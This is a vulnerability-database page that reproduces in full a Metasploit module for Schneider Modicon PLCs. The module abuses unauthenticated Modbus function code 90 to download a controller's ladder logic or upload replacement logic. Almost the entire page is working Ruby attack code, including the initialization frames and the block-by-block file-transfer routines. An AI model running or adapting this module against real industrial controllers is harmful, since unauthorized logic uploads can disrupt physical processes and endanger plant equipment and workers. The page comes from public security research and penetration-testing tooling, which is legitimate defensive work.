Lucene search
K

Schneider Modicon Ladder Logic Upload/Download

🗓️ 31 Aug 2024 00:00:00Reported by Tod Beardsley, K. Reid Wightman, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 129 Views

Schneider Modicon PLC Modbus Logic Upload/Download utilizing Modbus function code 90. Unauthenticated protocol allowing retrieval and upload of ladder logic. Supports "SEND" and "RECV" modes, requires valid FILENAME

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Rex::Socket::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',  
'Description' => %q{  
The Schneider Modicon with Unity series of PLCs use Modbus function  
code 90 (0x5a) to send and receive ladder logic. The protocol is  
unauthenticated, and allows a rogue host to retrieve the existing  
logic and to upload new logic.  
  
Two modes are supported: "SEND" and "RECV," which behave as one might  
expect -- use 'set mode ACTIONAME' to use either mode of operation.  
  
In either mode, FILENAME must be set to a valid path to an existing  
file (for SENDing) or a new file (for RECVing), and the directory must  
already exist. The default, 'modicon_ladder.apx' is a blank  
ladder logic file which can be used for testing.  
  
This module is based on the original 'modiconstux.rb' Basecamp module from  
DigitalBond.  
},  
'Author' =>  
[  
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module  
'todb' # Metasploit fixups  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]  
],  
'DisclosureDate' => '2012-04-05'  
))  
  
register_options(  
[  
OptString.new('FILENAME',  
[  
true,  
"The file to send or receive",  
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")  
]),  
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",  
[  
"SEND",  
"RECV"  
]  
]),  
Opt::RPORT(502)  
])  
  
end  
  
def run  
unless valid_filename?  
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"  
return nil  
end  
@modbuscounter = 0x0000 # used for modbus frames  
connect  
init  
case datastore['MODE']  
when "SEND"  
writefile  
when "RECV"  
readfile  
end  
end  
  
def valid_filename?  
if datastore['MODE'] == "SEND"  
File.readable? datastore['FILENAME']  
else  
File.writable?(File.split(datastore['FILENAME'])[0].to_s)  
end  
end  
  
# this is used for building a Modbus frame  
# just prepends the payload with a modbus header  
def makeframe(packetdata)  
if packetdata.size > 255  
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")  
return  
end  
payload = ""  
payload += [@modbuscounter].pack("n")  
payload += "\x00\x00\x00" #dunno what these are  
payload += [packetdata.size].pack("c") # size byte  
payload += packetdata  
end  
  
# a wrapper just to be sure we increment the counter  
def sendframe(payload)  
sock.put(payload)  
@modbuscounter += 1  
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.  
r = sock.recv(65535, 0.1)  
return r  
end  
  
# This function sends some initialization requests  
# required for priming the Quantum  
def init  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00"  
(0..0xf9).each { |x| payload += [x].pack("c") }  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"  
payload += "USER-714E74F21B" # Yep, really  
#payload += "META-SPLOITMETA"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
end  
  
# Write the contents of local file filename to the target's filenumber  
# blank logic files will be available on the Digital Bond website  
def writefile  
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"  
blocksize = 244 # bytes per block in file transfer  
buf = File.binread(datastore['FILENAME'])  
fullblocks = buf.length / blocksize  
if fullblocks > 255  
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")  
return  
end  
lastblocksize = buf.length - (blocksize*fullblocks)  
fileblocks = fullblocks  
if lastblocksize != 0  
fileblocks += 1  
end  
filetype = buf[0..2]  
if filetype == "APX"  
filenum = "\x01"  
elsif filetype == "APB"  
filenum = "\x10"  
end  
payload = "\x00\x5a\x00\x03\x01"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x30\x00"  
payload += filenum  
response = sendframe(makeframe(payload))  
if response[8..9] == "\x01\xfe"  
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")  
else  
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")  
return  
end  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
block = 1  
block2status = 0 # block 2 must always be sent twice  
while block <= fullblocks  
payload = "\x00\x5a\x01\x31\x00"  
payload += filenum  
payload += [block].pack("c")  
payload += "\x00\xf4\x00"  
payload += buf[((block - 1) * 244)..((block * 244) - 1)]  
res = sendframe(makeframe(payload))  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"  
if res[8..9] != "\x01\xfe"  
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")  
return  
end  
# redo this iteration of the loop if we're on block 2  
if block2status == 0 and block == 2  
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")  
block2status = 1  
redo  
end  
block += 1  
end  
if lastblocksize > 0  
payload = "\x00\x5a\x01\x31\x00"  
payload += filenum  
payload += [block].pack("c")  
payload += "\x00" + [lastblocksize].pack("c") + "\x00"  
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"  
res = sendframe(makeframe(payload))  
if res[8..9] != "\x01\xfe"  
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")  
return  
end  
end  
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"  
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"  
sendframe(makeframe(payload))  
end  
  
# Only reading the STL file is supported at the moment :(  
def readfile  
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"  
file = File.open(datastore['FILENAME'], 'wb')  
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"  
response = sendframe(makeframe(payload))  
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")  
block = 1  
filedata = ""  
finished = false  
while !finished  
payload = "\x00\x5a\x01\x34\x00\x01"  
payload += [block].pack("c")  
payload += "\x00"  
response = sendframe(makeframe(payload))  
filedata += response[0xe..-1]  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"  
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?  
finished = true  
else  
block += 1  
end  
end  
print_status("#{rhost}:#{rport} - MODBUS - Closing file")  
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"  
sendframe(makeframe(payload))  
file.print filedata  
file.close  
end  
  
def cleanup  
disconnect rescue nil  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation